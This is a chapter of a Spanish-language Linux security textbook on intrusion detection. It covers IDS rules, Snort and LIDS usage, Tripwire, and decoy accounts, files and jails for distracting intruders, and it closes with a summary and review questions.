En la mayoría de aplicaciones IDS, usted puede aplicar acciones a las reglas o políticas. A medida que usted defina una regla, por lo general usted debe considerar como y cuando la regla se aplicará a la red. Elementos adicionales de una regla incluye:

- El host que necesita ser protegido
  - Usted puede especificar un host individual o un rango de hosts
- El host que necesita ser ingresado o prohibido su entrada
  - Usted puede especificar un host individual o un rango de hosts
- El período de tiempo que la política será aplicada
- Una descripción del evento
- Las acciones a tomar en la eventualidad del evento, que incluyen:
  - Configuración del Firewall
  - El Bloqueo de Conexiones TCP
  - Mecanismo de Logs
  - Notificaciones por E-mail, Fax, o teléfono
  - Lanzar una aplicación para contrarrestar el ataque
  - Trampas para el SMTP

Una aplicación IDS demandará que usted cree sus propias reglas y luego le asignará ciertas acciones a este.

Auditando con IDS

El primer paso para poder auditar su red es poder identificar lo que en ella es actividad normal. Esto es llamado establecer la línea base. Para efectuar esto y establecer esta línea ejecute su IDS durante las horas pico. Entender el tráfico de su red es la única manera para usted adquirir el conocimiento suficiente para luego usted poder identificar al empleado que esta interesado en espiar u otras actividades de violación de seguridad. Otra

cosa a considerar es ejecutarlo durante las horas de la noche, cuando los crackers que vienen desde afuera están más activos.

Positivos Falsos

Al igual que un firewall, un IDS requiere de configuración exhaustiva. De cualquier otra forma usted recibirá mensajes reportando notificaciones de ataques falsos. El término Positivos Falsos, se refiere a tales notificaciones.

Debe cuidarse de ignorar todos los positivos falsos. Un IDS puede que detecte una actividad ilícita aunque no se ha definido una regla para detectar esa actividad en específico. Un ejemplo es que muchos sistemas de IDS le alertaran de muchas conexiones SYN en relación con NetBus y cierto kits de root de UNiX. Usted tendrá que aprender cuando ignorarlos y cuando ponerle atención, esto será una parte importante de su desarrollo como administrador de sistemas de seguridad.

PAQUETES DE DETECION DE INTRUSOS

Existe tanto software Privativo como GPL que provee servicio de detección de intrusos. También puede elegir diferente componentes y lograr que trabajen como un sólo. Usted debe documentarse y elegir el producto que mejor llena sus necesidades, recuerde que ningún producto es reemplazo para un administrador de sistema preparado y conocedor. Aunque existen soluciones comerciales aquí sólo analizaremos las de licencia GPL o FreeSoftware y más específico las soluciones destinadas para GNU/Linux, estas son denominadas LIDS.

LIDS (Sistema de Detección de Intrusos de GNU/Linux)

LIDS es uno de los mejores métodos de asegurar su sistema GNU/Linux, haciendo que las entradas o cambios desautorizadas sean casi imposible.

¿Qué es LIDS?

La distribución LIDS consiste de un parche del kernel y un programa de administración. El parche es agregado al kernel y restringe acceso al sistema. Cuando LIDS está activado, ni root está por encima de el. Si un cracker o atacante consigue el acceso como root en un computador protegido por LIDS, el deberá desactivarlo antes de poder accesar los archivos protegidos, lo cual no es una tarea nada fácil.

Características

LIDS ofrece varias maneras de restringir acceso al sistema. Un usuario puede establecer que archivos no sean sobrescritos o eliminados y puede permitir que ciertos archivos, como son los logs, sólo se le pueda añadir. Proteger y hasta esconder procesos es posible con LIDS. Este provee un monitor de seguridad estándar que se encuentra a lo interno del kernel y puede desatar alarmas de posible escaneado de puertos y otro tipo de ataques y anomalías.

Instalar y Configurar LIDS

El LIDS viene en divido en dos un parche del kernel (dependiendo de su versión del kernel, ej. 2.4, 2.6, etc,..) y un programa normal a nivel de usuario. Primero debe asegurarse que su sistema este libre de todo tipo de inseguridades como son backdoors; LIDS puede ayudarle asegurarse de alguien externo al sistema pero no de quien posee una manera alternativa de entrar a su sistema. Lo más aconsejable es instalarlo en un sistema recién instalado. Además debe asegurarse de tener un control completo de seguridad física sobre el sistema. Un usuario con acceso físico puede reiniciar desde un disquete y anular el Kernel-LIDS y entonces LIDS no podrá proteger el sistema.

SNORT (Detección de Intrusos)

Snort es un IDS o Sistema de Detección de Intrusiones basado en red (NIDS). Implementa un motor de detección de ataques y barrido de puertos que permite registrar, alertar y responder ante cualquier anomalía previamente definida como patrones que corresponden a ataques, barridos, intentos aprovechar alguna vulnerabilidad, análisis de protocolos, etc conocidos. Todo esto en tiempo real.

Snort (http://www.snort.org/) está disponible bajo licencia GPL, gratuito y funciona bajo plataformas UNIX/GNU. Es uno de los más usados y dispone de una gran cantidad de filtros o patrones ya predefinidos, así como actualizaciones constantes ante casos de ataques, barridos o vulnerabilidades que vayan siendo detectadas a través de los distintos boletines de seguridad.

Este IDS implementa un lenguaje de creación de reglas flexibles, potente y sencillo. Durante su instalación ya nos provee de cientos de filtros o reglas para backdoor, ddos, finger, ftp, ataques web, CGI, escaneados Nmap.

Puede funcionar como sniffer (podemos ver en consola y en tiempo real qué ocurre en nuestra red, todo nuestro tráfico), registro de paquetes (permite guardar en un archivo los logs para su posterior análisis, un análisis offline) o como un IDS normal (en este caso NIDS).

La colocación de Snort en nuestra red puede realizarse según el tráfico quieren vigilar: paquetes que entran, paquetes salientes, dentro del firewall, fuera del firewall... y en realidad prácticamente donde queramos.

Una característica muy importante e implementada desde hace pocas versiones es FlexResp. Permite, dada una conexión que emita tráfico malicioso, darla de baja, hacerle un DROP mediante el envío de un paquete con el flag RST activa, con lo cual cumpliría funciones de firewall, cortando las conexiones que cumplan ciertas reglas predefinidas. No sólo corta la conexiones ya que puede realizar otras muchas acciones.

Ahora un Ejemplo de funcionamiento básico en los tres modos:

1. Usando Snort en modo IDS:
   Snort -l log -dev -h 192.168.4.0/24 -c snort.conf
   (Revisemos el contenido de la carpeta log)
2. Usando Snort en modo sniffer:
   Snort -dev
3. Usando Snort en modo Packet Logger (registro de paquetes):
   Snort -dev -l log
   (Revisemos el contenido de la carpeta log)

EXPLICACIÓN DE LAS OPCIONES UTILIZADAS:

-l log: lo usamos para volcar la información la carpeta log que se supone está ubicada en /Snort/log. En esta carpeta se estructurarán una serie de directorios con el nombre de la dirección IP del host que genere el tráfico o intrusión. También creará en esta carpeta un archivo (alert.ids) donde registrará las alarmas que genere así como un archivo de registro de escaneado de puertos (si se da el caso), etc.

-dev: imprime en pantalla la dirección IP y cabeceras TCP/UDP/ICMP, los datos que pasan por la interface de red con información bastante detallada.

-h 192.168.4.0/24: es el home network (nuestra red).

-c snort.conf: indicamos que SNORT use el archivo de configuración de Snort con la lista de archivos de reglas y otros parámetros. Esta opción tiene una variante al cambiarse el archivo snort.conf por uno de reglas o rules personalizada.

Snort puede obtener los datos desde una interface de red -i eth0 o desde un archivo -r nombarchivo. Normalmente no hará fata indicarle la interface de red.

Ejercicio 8-1: Snort - Instalación y Uso

En este ejercicio pondremos a práctica la compilación, instalación y el uso de Snort, un software GPL para la Detección de Intrusos con más de 1,000 filtros incluidos. No se proveen soluciones a este ejercicio.

DISTRAER AL CRACKER

Ademas de capturar una simple actividad, hay muchas maneras de distraer los crackers. Una razón para hacerlo es mantenerlo en la red por mucho tiempo hasta que usted les encuentre el rastro. Por ejemplo, usted puede fijar una política de firewall así la dirección IP de origen direcciona al cracker a un falso sistema. Muchas redes grandes han creado un sistema completo dentro de su red, lleno de información para desinformar y con el propósito de preocupar y mantener ocupado al cracker.

La creación de archivos y cuentas ficticias, trampas y cárceles, son una buena técnica a emplear para la protección de sus recursos. El uso de esta técnicas no va sin riesgo, y muchas compañías simplemente eligen cortar la conexión. Las siguientes técnicas serán discutidas en esta sección:

- Cuentas Ficticias
- Archivos Ficticios
- Archivos de Contraseñas Ficticios
- Tripwire y Checksums Automatizadas
- Cárceles (Jails)
- Herramientas (tools)

Cuentas Ficticias

Como hemos visto ya en la trayectoria de este libro, los por defecto del sistema son los primeros objetivos de los crackers. Pero, podemos usar esto también como primera arma de defensa en contra de ellos también. Anteriormente discutimos como podemos renombrar un cuenta de usuario para crearle ciertas dificultades a un cracker. Podemos ahora irnos un paso más allá y crear cuentas del sistema y no asignarle ningún tipo de permiso y a la vez establecer un sistema de auditoría y alarmas asociadas con el script de login para alertarnos cuando un intento de ingreso se efectúa con estas cuentas.

Archivos Ficticias

La misma analogía de las cuentas ficticias podemos usar y crear archivos ficticios. Estos archivos pueden desinformar a un potencial cracker o simplemente distraerlo. Entra la información que podemos incluir pudiera ser un diagrama falso de nuestra subred y equipos que se utilizan a lo interno de la organización.

Por ejemplo, en una organización financiera uno de los archivos atractivos puede ser llamado nómina.xls, luego de colocarlo debemos establecerle ciertas medidas adicionales para proveer mayor seguridad. Ha este archivo le podemos configurar un sistema de alarma para cuando sea accesado.

Archivos de Contraseñas Ficticios

Una manera de usar una archivo ficticio en creando un archivo de contraseña falso. Este archivo falso puede significativamente distraer un cracker. En este archivo usted puede suplir cuentas falsas y sus contraseñas, asegurándose de que los nombres de cuentas que use sean creíbles.

Para poder violar sistemas GNU/Linux, los crackers utilizan programas como “Crack” que funcionan creando una larga lista de contraseñas, luego la encriptan una por una. En la misma manera que lo hace un sistema GNU/Linux. Crack luego toma estas contraseñas encriptada y las compara con las del archivo etc/passwd. Si las iguala, entonces el programa la ha Crackeado. Pero si el archivo que uso fue el ficticio, el acaba de desperdiciar mucho tiempo.

Para protegerse contra estos ataques sólo tiene que habilitar shadow passwords y si desea más seguridad entonces también puede crear el archivo ficticio lo cual crearía verdaderamente un alto nivel de seguridad. En la actualidad todos los sistemas GNU/Linux viene con shadow passwords habilitado por defecto.

Archivos de Contraseñas Ficticios

Software de dominio público desarrollado por el Departamento de Informática de la Universidad de Purdue, es una herramienta que comprueba la integridad de los sistemas de archivos y ayuda al administrador a monitorear éstos frente a modificaciones no autorizadas.

Esta herramienta avisa al administrador de cualquier cambio o alteración de archivos en la máquina (incluido binarios). El programa crea una base de datos con un identificador por cada archivo analizado y puede comparar, en cualquier momento, el actual con el registrado en la base de datos, avisando ante cualquier alteración, eliminación o inclusión de un nuevo archivo en el sistema de archivos.

La base datos está compuesta por una serie de datos como la fecha de la última modificación, propietario, permisos, etc. con todo ello se crea una firma para cada archivo en la base de datos. Esta herramienta debería ser ejecutada después de la instalación de la máquina con el objeto de tener una "foto" de los sistemas de archivos en ese momento y puede ser actualizada cada vez que añadimos algo nuevo. Dispone de un archivo de configuración que permite decidir qué parte del sistema de archivos va a ser introducida en la base de datos para su posterior comprobación.

Ejercicio 8-2: Tripwire- Instalación y Uso

En este ejercicio pondremos a práctica la compilación, instalación y el uso de Tripwire, un software GPL que crea una base de datos de todos su archivos para luego comparar cualquier cambio. No se proveen soluciones a este ejercicio.

Cárceles (Jails)

Una cárcel es un sistema completamente separado que usted puede crear para entretener a los crackers. Los jails comúnmente suplen de información errónea que permite a los administradores tiempo extra para detectar y capturar a los crackers. El peligro de los jails es que el cracker tiene el potencial de romper la cárcel y entrar al verdadero y real sistema.

Sus políticas de seguridad deben siempre permitir la creación de una cárcel. Los administradores de sistemas deben entender las consecuencias de la creación de estos sistemas paralelos. Una de las razones para crear una cárcel es si su red es de tamaño grande. Un cracker motivado pasará de conexión a conexión antes de penetrar a la suya. Las denominadas cuentas shell son usadas para este propósito. Para poder localizar la dirección del cracker usted necesitará evidencia física y para lograr esto necesita mantenerlo en línea.

Los crackers profesionales usan los sistemas sólo por instantes a la vez, aunque ya tengan el control del sistema completo. Esta práctica es que hace que la actividad de los crackers aparente intermitente y no amenazante. El resultado de todo esto es que casi nunca nos damos cuenta esta que el daño no haya sido efectuado.

TOOLS (HERRAMIENTAS)

En las paginas de NMAP se encuentra una impresionante lista de las 50 mejores herramientas para detectar intrusos. Creo que es un buen consejo para cualquiera en el ámbito de la seguridad, recomendarle que lea la lista e investigue cualquier herramienta con la cual no esté familiarizado. La lista no se limitó a softwares sólo GPL, ni OpenSource sino que los participantes podían listar herramientas también comerciales para cualquier plataforma . Las herramientas comerciales son diferenciadas en esta lista, la lista puede ser encontrada aquí ene este portal: http://www.insecure.org/tools.html

RESUMEN

En este capítulo fue introducido a varios servicios de red, entre los temas discutidos se incluyen:

- Lo que más ayuda a un cracker a penetrar a una red es cuando los administradores piensan que porque instalaron un software están a salvo.
- Seguridad proactiva puede ayudar a un administrador a usar scripts que le pueden asistir a automatizar programas y respuestas a diferentes situaciones.
- Entre las maneras de proteger sus sistemas se incluyen detectar y distraer los potenciales crackers.
- El paso más importante en el proceso de respuesta es aprender del incidente.
- Para mejor analizar su respuesta, pregunte las siguientes preguntas a todos aquellos involucrados:
  - ¿Cómo fue que el cracker violó nuestra seguridad?
  - ¿Le pagó a un empleado?
  - ¿Utilizo Ingeniería social?
  - ¿Fuerza bruta?
  - ¿Modificación de la tabla de enrutamiento?
  - ¿A través de un firewall inadecuado?
  - ¿Cuáles fueron los puntos fuertes de nuestra respuesta?
  - ¿Qué puede ser mejorado?
  - ¿Qué debemos hacer diferente en el futuro?
- Responder a los incidentes es tan importante como implementar hardware y soluciones de software.
- Deben mantener por escrito toda actividad inusual, incluyendo su respuesta.
- Al menos que usted detalle todas las soluciones apropiadas y las siga al pies de la letra, el pánico le vencerá y cae en la posibilidad de ser aún más victimado por el cracker.
- Mantenga sus backups al día para que en caso de una violación de seguridad por un cracker usted pueda restaurar lo más pronto posible.
- Al auditar un IDS, usted debe primero revisar que también documentado está el IDS así como si el está bien implementado.

PREGUNTAS POST - EXAMEN

Las respuestas a estas preguntas están en el Apéndice A

1.- ¿Qué tres opciones tiene disponible un administrador al responder a un asunto de la red?
2.- ¿Cómo funciona un sistema de detección de intrusos (IDS) basado en red?
3.- ¿Cuales son los beneficios de un IDS basado en la red?
4.- ¿Describa la arquitectura de un IDS basado en hosts?
5.- ¿En qué tipo de red es que un IDS basado en red no funcionaría bien?
6.- ¿Liste algunos recursos que son buenos candidatos para la colocación de agentes en un IDS basado en red?